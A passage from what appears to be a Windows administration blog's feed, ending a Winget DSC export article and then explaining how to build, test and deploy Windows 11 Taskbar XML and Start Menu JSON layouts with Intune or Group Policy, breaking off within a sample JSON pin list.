<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 package </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">export</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 package </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">schema</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 package </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">manifest</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 source </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">export</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 source </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">schema</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 source </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">manifest</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 user</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">settings</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">file </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">export</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 user</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">settings</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">file </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">schema</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 user</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">settings</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">file </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">manifest</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 admin</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">settings </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">export</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 admin</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">settings </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">schema</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget dscv3 admin</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">settings </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">manifest</span></span></code></pre>
</div><img src="\powershell_dsc\dsc_export.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Be aware that the --output parameter currently does not work with the <code>dscv3</code> command.
So you need to copy the output from the console and save it manually.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Desired State Configuration (DSC) provides a powerful, declarative foundation for defining and maintaining system state, ensuring environments remain consistent, auditable and free from configuration drift.
By automating setup and enforcement, DSC reduces manual overhead and makes configuration management both scalable and reliable.</p>
<p>Winget DSC builds on this foundation by unifying package management and configuration into a single, scriptable workflow.
With commands like configure for applying and enforcing settings and dscv3 for exporting current states, it enables reproducible, version-controlled setups that simplify provisioning and auditing across devices.
When integrated with tools such as Intune or CI/CD pipelines, Winget DSC helps teams deliver consistent, ready-to-use systems faster and with greater confidence.</p>
<p><u>Resources</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-3.0" target="_blank" rel="noreferrer">Powershell DSC 3.0 - Microsoft Learn</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/package-manager/configuration/" target="_blank" rel="noreferrer">WinGet Configuration - Microsoft Learn</a></li>
<li><a href="https://learn.microsoft.com/en-gb/powershell/dsc/overview?view=dsc-3.0" target="_blank" rel="noreferrer">Microsoft Desired State Configuration overview - Microsoft Learn</a></li>
<li><a href="https://github.com/dsccommunity" target="_blank" rel="noreferrer">DSC Community Repository - GitHub</a></li>
<li><a href="https://www.powershellgallery.com/packages?q=DSC" target="_blank" rel="noreferrer">DSC - PowerShell Gallery</a></li>
<li><a href="https://dsccommunity.org/" target="_blank" rel="noreferrer">DSC Community - Homepage</a></li>
<li><a href="https://github.com/microsoft/devhome/tree/main/docs/sampleConfigurations/DscResources" target="_blank" rel="noreferrer">DevHome Sample Configurations for Specific DSC Resource - Github</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Taskbar and Start Menu customization | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/customize_taskbar_startmenu.html</link>
            <guid>https://michaelsendpoint.com/intune/customize_taskbar_startmenu.html</guid>
            <pubDate>Thu, 08 Jan 2026 15:25:16 GMT</pubDate>
            <description><![CDATA[Learn how to customize the Windows 11 Taskbar and Start Menu using XML and JSON files, and deploy them with Intune or GPO for a personalized user experience.]]></description>
            <content:encoded><![CDATA[<h1 id="taskbar-and-start-menu-customization" tabindex="-1">Taskbar and Start Menu customization <a class="header-anchor" href="#taskbar-and-start-menu-customization" aria-label="Permalink to &quot;Taskbar and Start Menu customization&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="customize-the-windows-11-taskbar" tabindex="-1">🧑‍🔧 Customize the Windows 11 Taskbar <a class="header-anchor" href="#customize-the-windows-11-taskbar" aria-label="Permalink to &quot;:mechanic: Customize the Windows 11 Taskbar&quot;">&ZeroWidthSpace;</a></h2>
<p>Customising the Windows 11 Taskbar allows you to personalise the user experience by pinning frequently used applications and removing unnecessary shortcuts.
This section provides instructions on creating a Taskbar configuration XML file and testing it in a controlled environment.
To make things easier and avoid having to create a complicated XML file, I've created a script that gives you a handy list of your apps to select and then creates the XML file for you.</p>
<h3 id="creating-the-taskbar-settings-xml" tabindex="-1">Creating the Taskbar settings XML <a class="header-anchor" href="#creating-the-taskbar-settings-xml" aria-label="Permalink to &quot;Creating the Taskbar settings XML&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Configure the taskbar with Microsoft Intune or GPO by automatically creating the XML file using the script I created from the <a href="https://www.powershellgallery.com/packages/New-TaskbarCustomizationXML" target="_blank" rel="noreferrer">PSGallery</a>.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Script</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-TaskbarCustomizationXML</span></span></code></pre>
</div><p>Or you Download the script directly from my <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/cda1f5aeba9da76c05ca7bb9e8e5a354d29d1b26/Intune/Taskbar_and_StartMenu_Customization/New-TaskbarCustomizationXML.ps1" target="_blank" rel="noreferrer">Github</a>.</p>
<ol start="2">
<li>As soon as you Start the Script with the command below, a Windows Explorer Dialog opens and you can select a Folder to save your Script.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-TaskbarCustomizationXML</span></span></code></pre>
</div><ol start="3">
<li>Next, the script opens a list of your current taskbar shortcuts. Select the shortcuts you want to add to the XML file.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>Hold <span style="color:crimson"><strong>Strg</strong></span> or <span style="color:crimson"><strong>Shift</strong></span> to add multiple items.</p>
</div>
<img src="\intune\taskbar_startmenu\script_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="4">
<li>The script opens a list of all your installed packages (programs). Select the ones you want to add to the XML file.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>If you select nothing in either list, the final XML will automatically add the nessecarry lines for a taskbar icon removal.</p>
</div>
<img src="\intune\taskbar_startmenu\script_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="5">
<li><span style="color:crimson"><strong>NEW Nov 2025</strong></span> Next you will be asked if you want any of the Pins not to come back, if the user unpins them.</li>
</ol>
<img src="\intune\taskbar_startmenu\script_3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<ul>
<li>Any pins set up via policy settings come back when the next policy update cycle happens, even if you unpin them.</li>
<li>Pins that have the new attribute (<span style="color:crimson">PinGeneration</span>) can be unpinned from the taskbar and won't be repinned during the next policy update cycle.</li>
</ul>
<p>Starting with Windows 11 Insider Preview Build 26200.5722 (Dev Channel) and 26120.5722 (Beta Channel), taskbar pin configurations deployed via policy are applied instantly, without requiring the user to sign out and sign back in.</p>
</div>
<ol start="6">
<li>Pressing OK will create a new folder called <span style="color:crimson"><strong>TaskBar_XML</strong></span> in the folder you selected. You can then find your new XML file in this folder.</li>
</ol>
<p><strong>XML file example from Microsoft:</strong></p>
<div class="language-xml vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">xml</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">&#x3C;?</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">xml</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> version</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"1.0"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> encoding</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"utf-8"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">?></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">&#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">LayoutModificationTemplate</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    xmlns</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"http://schemas.microsoft.com/Start/2014/LayoutModification"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    xmlns:defaultlayout</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"http://schemas.microsoft.com/Start/2014/FullDefaultLayout"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    xmlns:start</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"http://schemas.microsoft.com/Start/2014/StartLayout"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    xmlns:taskbar</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"http://schemas.microsoft.com/Start/2014/TaskbarLayout"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    Version</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"1"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">CustomTaskbarLayoutCollection</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">defaultlayout:TaskbarLayout</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">taskbar:TaskbarPinList</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        &#x3C;!-- your pins list goes here --></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">defaultlayout:TaskbarLayout</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">CustomTaskbarLayoutCollection</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">LayoutModificationTemplate</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more Information on Taskbar customization in this Microsoft Learn Article: <a href="https://learn.microsoft.com/en-us/windows/configuration/taskbar/?pivots=windows-11" target="_blank" rel="noreferrer">Configure the Windows taskbar</a>.</p>
</div>
<h3 id="test-taskbar-xml" tabindex="-1">Test Taskbar XML <a class="header-anchor" href="#test-taskbar-xml" aria-label="Permalink to &quot;Test Taskbar XML&quot;">&ZeroWidthSpace;</a></h3>
<p>To test the XML file quickly and set up Start Pins, follow these instructions:</p>
<ol>
<li>Start the Windows Sandbox, any other VM or your own PC.
If you're using a Virtual Machine, copy the XML file onto it.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find out how to install the Windows Sandbox <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-install" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<img src="\intune\taskbar_startmenu\test_sandbox.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>Open the local Group Policy Editor (gpedit.msc) and go to <span style="color:crimson"><strong>Computer Configuration -&gt; Administrative Templates -&gt; Start Menu and Taskbar</strong></span>.<br></li>
<li>Next open <span style="color:crimson"><strong>Start Layout</strong></span>, select <span style="color:crimson"><strong>Enabled</strong></span> and enter the path of the XML file.</li>
<li>Finally click <span style="color:crimson"><strong>OK</strong></span>.</li>
</ol>
<img src="\intune\taskbar_startmenu\test_sandbox_gpedit.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>Now open a command prompt or powershell window and enter the following command.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">gpupdate </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">force</span></span></code></pre>
</div><img src="\intune\taskbar_startmenu\test_sandbox_gpupdate.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="6">
<li>When the command is completed, open the Taskmanager, scroll down to the <span style="color:crimson"><strong>Windows Explorer</strong></span> and select <span style="color:crimson"><strong>Restart</strong></span>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Restarting the <strong>Windows Explorer</strong> service restarts the Taskbar aswell.</p>
</div>
<img src="\intune\taskbar_startmenu\test_sandbox_taskmanager.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 3em" alt="drawing" width="700" loading="lazy"/>
<p>Taskbar before:
<img src="\intune\taskbar_startmenu\test_sandbox_taskbar.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 0em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></p>
<p>Taskbar after:
<img src="\intune\taskbar_startmenu\test_sandbox_taskbar2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 0em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></p>
<h3 id="deploy-taskbar-xml" tabindex="-1">Deploy Taskbar XML <a class="header-anchor" href="#deploy-taskbar-xml" aria-label="Permalink to &quot;Deploy Taskbar XML&quot;">&ZeroWidthSpace;</a></h3>
<p>When deploying the Start Menu XML, please note that there is a slight oddity in Intune.<br>
It is not possible to import the file directly; instead, the XML text must be copied and pasted into the text box.</p>
<img src="\intune\taskbar_startmenu\intune_taskbar.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 0em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more Information on how to deploy the XML file with Intune or GPO in this Microsoft Learn Article: <a href="https://learn.microsoft.com/en-us/windows/configuration/taskbar/pinned-apps?tabs=intune&amp;pivots=windows-11#deploy-the-taskbar-configuration" target="_blank" rel="noreferrer">Deploy the taskbar configuration</a></p>
</div>
<h3 id="conclusion" tabindex="-1">Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;Conclusion&quot;">&ZeroWidthSpace;</a></h3>
<p>By following the steps above, you can easily test and validate your Taskbar XML configuration in a controlled environment like Windows Sandbox or a virtual machine. This ensures that your customizations work as intended before deploying them to production systems.</p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>You can find the XML file I used <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/27424d27a2a4bdab9adb3df176f9ead4dbaabe6f/Intune/Taskbar_and_StartMenu_Customization/TaskbarLayoutModification.xml" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="customize-the-windows-11-start-layout" tabindex="-1">🧑‍🔧 Customize the Windows 11 Start layout <a class="header-anchor" href="#customize-the-windows-11-start-layout" aria-label="Permalink to &quot;:mechanic: Customize the Windows 11 Start layout&quot;">&ZeroWidthSpace;</a></h2>
<p>You can customise the Windows 11 Start layout to make it consistent and user-friendly by pinning essential apps and organising the Start menu.
This section provides guidance on creating the JSON file and deploying it.</p>
<h3 id="creating-the-start-menu-layout-json" tabindex="-1">Creating the Start Menu Layout JSON <a class="header-anchor" href="#creating-the-start-menu-layout-json" aria-label="Permalink to &quot;Creating the Start Menu Layout JSON&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>
<p>Microsoft provides a CMDlet to help you create the Start Menu JSON.</p>
</li>
<li>
<p>Open a Powershell Windows and use the code below:</p>
</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Export-StartLayout</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"C:\temp\LayoutModification.json"</span></span></code></pre>
</div><p><strong>JSON file example from Microsoft:</strong></p>
<div class="language-json vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">json</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  "pinnedList"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: [</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"desktopAppLink"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"%ALLUSERSPROFILE%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Start Menu</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Programs</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft Edge.lnk"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"desktopAppLink"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"%APPDATA%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Start Menu</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Programs</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">File Explorer.lnk"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"desktopAppLink"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"%APPDATA%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Start Menu</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Programs</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Windows PowerShell</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Windows PowerShell.lnk"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft.WindowsTerminal_8wekyb3d8bbwe!App"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft.Paint_8wekyb3d8bbwe!App"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft.Windows.Photos_8wekyb3d8bbwe!App"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe!App"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> },</span></span>
